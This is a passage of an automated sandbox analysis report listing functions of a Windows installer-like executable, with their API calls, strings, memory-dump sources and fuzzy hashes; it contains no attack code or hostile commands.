Instruction Fuzzy Hash: ECC08CA074860093CB40B3FA344320E1841AB8071FB10C07F7A04A66C7DE3C88088B2E

Function 0046CE48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD

GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046CE5D

Strings

SHPathPrepareForWriteA, xrefs: 0046CE48
shell32.dll, xrefs: 0046CE52

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressErrorLibraryLoadModeProc
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2492108670-2683653824
Opcode ID: 5f959238bf810490ef77b594ea6e22c2ad502a4a3f549b0f4d35f8d6b66128fa
Instruction ID: 43d92021416e1b68685a59965f85dcd86356bf1ee9338f795bd6a3e27ba16cc9
Opcode Fuzzy Hash: 5f959238bf810490ef77b594ea6e22c2ad502a4a3f549b0f4d35f8d6b66128fa
Instruction Fuzzy Hash: 68B092A170170086CB50B7B698D262A28259781B19F60843B7488AB695EB3E88048B5F

Function 0044852C Relevance: 4.7, APIs: 3, Instructions: 151libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,00000000,00448709), ref: 0044864C
GetProcAddress.KERNEL32(00000000,00000000), ref: 004486CD

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 6a9e94a6261787b515d0168f2a43a37c3b880b1d2338cb15d4c8216b47f8c1f6
Instruction ID: 2eaa58f6359003fef9dee836e3db1fa56ae38c906bc4f4c4d93ca6671f7cd4fb
Opcode Fuzzy Hash: 6a9e94a6261787b515d0168f2a43a37c3b880b1d2338cb15d4c8216b47f8c1f6
Instruction Fuzzy Hash: 14515470E00105AFDB40EF95C491AAEBBF9EB45319F11817FE414BB391DA389E05CB99

Function 00481DD0 Relevance: 4.6, APIs: 3, Instructions: 98windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000,00000000,00481F08), ref: 00481EA0
AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 00481EB1
AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 00481EC9

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Menu$Append$System
String ID:
API String ID: 1489644407-0
Opcode ID: e217fba4266f0993d7d0a0094466960b2dc688203817318a9ec5bc7fde81f065
Instruction ID: 4586c9f402ca04f05dea15a590e2c5cb78c1f0882a9cca067d17480793b28e7a
Opcode Fuzzy Hash: e217fba4266f0993d7d0a0094466960b2dc688203817318a9ec5bc7fde81f065
Instruction Fuzzy Hash: 8C31A4307043445AD711FB799C82B6E3A989B15318F54583FF900972E3CB7C9D49879D

Function 004243FC Relevance: 4.6, APIs: 3, Instructions: 59windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00424412
TranslateMessage.USER32(?), ref: 0042448F
DispatchMessageA.USER32(?), ref: 00424499

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: d4f7142ddfb2041a0388c754ad29f8297397d1c5d5a6fc901d04af05902ad934
Instruction ID: 8eae6dca0d2455523dd27ca57e4683f6da326f6f2f90499d04ddbfd693f83f9d
Opcode Fuzzy Hash: d4f7142ddfb2041a0388c754ad29f8297397d1c5d5a6fc901d04af05902ad934
Instruction Fuzzy Hash: E3116D303043205AEB20FA24A941B9F73D4DFC5758F80481EFC99972C2D77D9D49879A

Function 00416644 Relevance: 4.5, APIs: 3, Instructions: 39COMMON

Download Yara Rule

APIs

SetPropA.USER32(00000000,00000000), ref: 0041666A
SetPropA.USER32(00000000,00000000), ref: 0041667F
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,00000000,00000000,?,00000000,00000000), ref: 004166A6

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Prop$Window
String ID:
API String ID: 3363284559-0
Opcode ID: 2bfc4182cfb98504df538322f106c63385c341cbf25331a0d530951e70e975e0
Instruction ID: 6913c5f2d07602d921388148e43cadd8ab2d6729f30613f48e4cae6714e3bc13
Opcode Fuzzy Hash: 2bfc4182cfb98504df538322f106c63385c341cbf25331a0d530951e70e975e0
Instruction Fuzzy Hash: ACF01271701210ABDB10AB599C85FA732DCAB09714F16057AB905EF286C778DC40C7A8

Function 0041EE54 Relevance: 4.5, APIs: 3, Instructions: 27windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0041EE64
IsWindowEnabled.USER32(?), ref: 0041EE6E
EnableWindow.USER32(?,00000000), ref: 0041EE94

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$EnableEnabledVisible
String ID:
API String ID: 3234591441-0
Opcode ID: 495d6a49dc4b54b7e424eeae3cce025a94256eba33976185de8149e812397146
Instruction ID: 3b4cb379701a2ac24b7d0c87bf9454d2e26b3d0fb89a85d5a5a22e513a73856b
Opcode Fuzzy Hash: 495d6a49dc4b54b7e424eeae3cce025a94256eba33976185de8149e812397146
Instruction Fuzzy Hash: EAE06DB5100301AAE301AB2BDC81B5B7A9CAB54350F05843BA9089B292D63ADC408B7C

Function 00469F38 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?), ref: 0046A049

Strings

PrepareToInstall, xrefs: 00469FF3, 0046A09A

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ActiveWindow
String ID: PrepareToInstall
API String ID: 2558294473-1101760603
Opcode ID: bd0dcbe1c8258478baffa71df21744fc3a9b143a8d249b74e1da8b76978560ea
Instruction ID: 8915bcbaa0d52b1afd1835bfec642bdf08a7ea5e9e60c9e550189f724141fab8
Opcode Fuzzy Hash: bd0dcbe1c8258478baffa71df21744fc3a9b143a8d249b74e1da8b76978560ea
Instruction Fuzzy Hash: CAA10A34A00105DFD700EFA9D986E9EB7F5AF48304F5540B6E404AB362D738AE45DF99

Function 0046C514 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

/:*?"<>|, xrefs: 0046C6B0, 0046C6C7

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID:
String ID: /:*?"<>|
API String ID: 0-4078764451
Opcode ID: 4c775d0ea5a845e0b4de9e304c4ca43b4cffb32271fbead08ed1ce1755dbde2c
Instruction ID: 65bc80ad12a2aa4f3f6d441b7c53c95629e39c8c6e563b6d48aa8df0192a7f01
Opcode Fuzzy Hash: 4c775d0ea5a845e0b4de9e304c4ca43b4cffb32271fbead08ed1ce1755dbde2c
Instruction Fuzzy Hash: A871C530B40205ABDB10EBA5DDD2BEE77E19F41308F108077F540AB292E779AD458B5E

Function 0048271C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?), ref: 004827CA

Strings

InitializeWizard, xrefs: 00482763

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ActiveWindow
String ID: InitializeWizard
API String ID: 2558294473-2356795471
Opcode ID: 83eb30a76955a2ec7f542fd3a9db00907a5635408034bf43da7c2e0550a20a0f
Instruction ID: 6d8b2770f68c58fdc674587b2b9ef887fd6a608625072ab126c4d08664cf3e66
Opcode Fuzzy Hash: 83eb30a76955a2ec7f542fd3a9db00907a5635408034bf43da7c2e0550a20a0f
Instruction Fuzzy Hash: 3F11A330204240AFD700EB6AEED6B2A7BE4E758328F50047BF404C73A1EA796C45C75E

Function 0047C648 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,0047C894,00000000,0047CA96), ref: 0047C68D

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0047C65D

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseOpen
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 47109696-1019749484
Opcode ID: 8d2e17762bf3f8fe1b82dfd6b6cc8fb9e50960fdf5ef388afb354b2c3f1fa3ab
Instruction ID: 5ed55a2c420faf331f0a15b14921b19ee1e4d574cc0a1c906525e3cbcd805e1c
Opcode Fuzzy Hash: 8d2e17762bf3f8fe1b82dfd6b6cc8fb9e50960fdf5ef388afb354b2c3f1fa3ab
Instruction Fuzzy Hash: D0F0827170051467DA10A69A6DC2BAEA7DD8B94718F20503FF508DB242D9B99E0242AC

Function 0046F004 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00000000,00000004,00000001,?,0046F682,?,?,00000000,0046F846,?,_is1,?), ref: 0046F017

Strings

NoModify, xrefs: 0046F015

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Value
String ID: NoModify
API String ID: 3702945584-1699962838
Opcode ID: 888046907a30d434677c86598fbe01595b923495ae31536c65224a9459d5b981
Instruction ID: 36b047244b8a46f46e2a66ab8a4e2d38b38e826dd2d039d91b27308d321ef38c
Opcode Fuzzy Hash: 888046907a30d434677c86598fbe01595b923495ae31536c65224a9459d5b981
Instruction Fuzzy Hash: 65E0DFB4200308BFEB04DB51CC0AF2B73ECDB08310F104019BA049B280E670EE00C668

Function 0047E5C8 Relevance: 3.2, APIs: 2, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetACP.KERNEL32(?,?,00000001,00000000,0047E8A7,?,-0000001A,0048075D,-00000010,?,00000004,0000001B,00000000,00480AAA,?,0045DB68), ref: 0047E63E

Part of subcall function 0042E31C: GetDC.USER32(00000000), ref: 0042E32B
Part of subcall function 0042E31C: EnumFontsA.GDI32(?,00000000,0042E308,00000000,00000000,0042E374,?,00000000,00000000,00480B11,?,?,00000001,00000000,00000002,00000000), ref: 0042E356
Part of subcall function 0042E31C: ReleaseDC.USER32(00000000,?), ref: 0042E36E

SendNotifyMessageA.USER32(00020428,00000496,00002711,-00000001), ref: 0047E80E

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: EnumFontsMessageNotifyReleaseSend
String ID:
API String ID: 2649214853-0
Opcode ID: 714c93e773a22a1a3526f904907efb4cbd7609580959c7eceb431b519664cc5d
Instruction ID: cc85682d5dba2755b56ba2a8d54c5826bc190f55610e9ecd0554557d3073ca29
Opcode Fuzzy Hash: 714c93e773a22a1a3526f904907efb4cbd7609580959c7eceb431b519664cc5d
Instruction Fuzzy Hash: 7D5145746001108BC710FF67E98169B77E9EB58309B90C67BA8055B3A7CB3CED468B9D

Function 00402088 Relevance: 3.1, APIs: 2, Instructions: 122COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0049B420,00000000,004021FC), ref: 004020CB

Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
String ID:
API String ID: 296031713-0
Opcode ID: ab3545b22e3440e815b1719652ff5d854977479bd1b850cbba673e5eb4522dee
Instruction ID: 30adadd309813d1a6846ca6b4958dbaac508113c784b73a5bb8d11bfdb372a30
Opcode Fuzzy Hash: ab3545b22e3440e815b1719652ff5d854977479bd1b850cbba673e5eb4522dee
Instruction Fuzzy Hash: 3941E3B2E00304DFDB10CF69EE8521A77A4F7A8324B15417FD854A77E2D3789801DB88

Function 0042DEC0 Relevance: 3.1, APIs: 2, Instructions: 111registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,0042DFD6,?,?,00000008,00000000,00000000,0042E003), ref: 0042DF6C
RegCloseKey.ADVAPI32(?,0042DFDD,?,00000000,00000000,00000000,00000000,00000000,0042DFD6,?,?,00000008,00000000,00000000,0042E003), ref: 0042DFD0

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseEnum
String ID:
API String ID: 2818636725-0
Opcode ID: 5544c4b9bbec9bcd0b3571a2bc1c3e91d7920f18483733b44f41fdf125e35dfd
Instruction ID: d62689c7b7995b9893119ef97773413105dd68debc8ff02f2d4f9d8a28cc91ff
Opcode Fuzzy Hash: 5544c4b9bbec9bcd0b3571a2bc1c3e91d7920f18483733b44f41fdf125e35dfd
Instruction Fuzzy Hash: DD31B270F04258AEDB11DFA6DD42BAEBBB9EB49304F91407BE501E6280D6785E01CA2D

Function 004527E8 Relevance: 3.1, APIs: 2, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,?,?,00458278,00000000,00458260,?,?,?,00000000,00452862,?,?,?,00000001), ref: 0045283C
GetLastError.KERNEL32(00000000,00000000,?,?,00458278,00000000,00458260,?,?,?,00000000,00452862,?,?,?,00000001), ref: 00452844

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateErrorLastProcess
String ID:
API String ID: 2919029540-0
Opcode ID: 32d7980bd8ec2bee900e92c865b72ef71cfaa45d55aa0c85c0401d49ed696f28
Instruction ID: fcc055d8c1a696a2a0db1e32a085008d871673fec5534948229a16d4440eefa6
Opcode Fuzzy Hash: 32d7980bd8ec2bee900e92c865b72ef71cfaa45d55aa0c85c0401d49ed696f28
Instruction Fuzzy Hash: A2113C72600208AF8B40DEA9DD41D9F77ECEB4E310B114567FD18D3241D678EE148B68

Function 0040ADD8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040ADF2
FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040AF4F,00000000,0040AF67,?,?,?,00000000), ref: 0040AE03

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Resource$FindFree
String ID:
API String ID: 4097029671-0
Opcode ID: a68fa58b17f1c81db0874c2ae071f5ac340239a3ac25d7cbfb0d1b1353a7ba86
Instruction ID: 3d7a77417cef7b3885e8747e4544195f2de945da78ee84bb1155330bb8f828e3
Opcode Fuzzy Hash: a68fa58b17f1c81db0874c2ae071f5ac340239a3ac25d7cbfb0d1b1353a7ba86
Instruction Fuzzy Hash: 0301F771300700AFD700FF69EC52E1B77EDDB46714710807AF500AB3D1D639AC10966A

Function 0041EEA4 Relevance: 3.0, APIs: 2, Instructions: 49threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041EEF3
EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Thread$CurrentEnumWindows
String ID:
API String ID: 2396873506-0
Opcode ID: 30aad164e0a195eeb96462141dc827bf49acbc8680001675c00c89b7ac155170
Instruction ID: bcaa23655132f8f2785c0a842f21b48ac99b37e3223c43442b01e3940dbd0cdf
Opcode Fuzzy Hash: 30aad164e0a195eeb96462141dc827bf49acbc8680001675c00c89b7ac155170
Instruction Fuzzy Hash: 31015B76A04604BFD706CF6BEC1199ABBE8E789720B22887BEC04D3690E7355C10DF18

Function 00452C80 Relevance: 3.0, APIs: 2, Instructions: 48fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 00452CC2
GetLastError.KERNEL32(00000000,00000000,00000000,00452CE8), ref: 00452CCA

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorFileLastMove
String ID:
API String ID: 55378915-0
Opcode ID: 92f277caa9c3c56662d1ce6f28aaa0531c95695199337b3952b9b7b9e7465d28
Instruction ID: 1f9035ddd188b097fe3d15476f32cd7793c58c8f4df07880d9fc6ba60e4ff235
Opcode Fuzzy Hash: 92f277caa9c3c56662d1ce6f28aaa0531c95695199337b3952b9b7b9e7465d28
Instruction Fuzzy Hash: 9401D671A04208AB8712EB799D4149EB7ECEB8A32575045BBFC04E3243EA785E048558

Function 00452770 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004527CF), ref: 004527A9
GetLastError.KERNEL32(00000000,00000000,00000000,004527CF), ref: 004527B1

Memory Dump Source

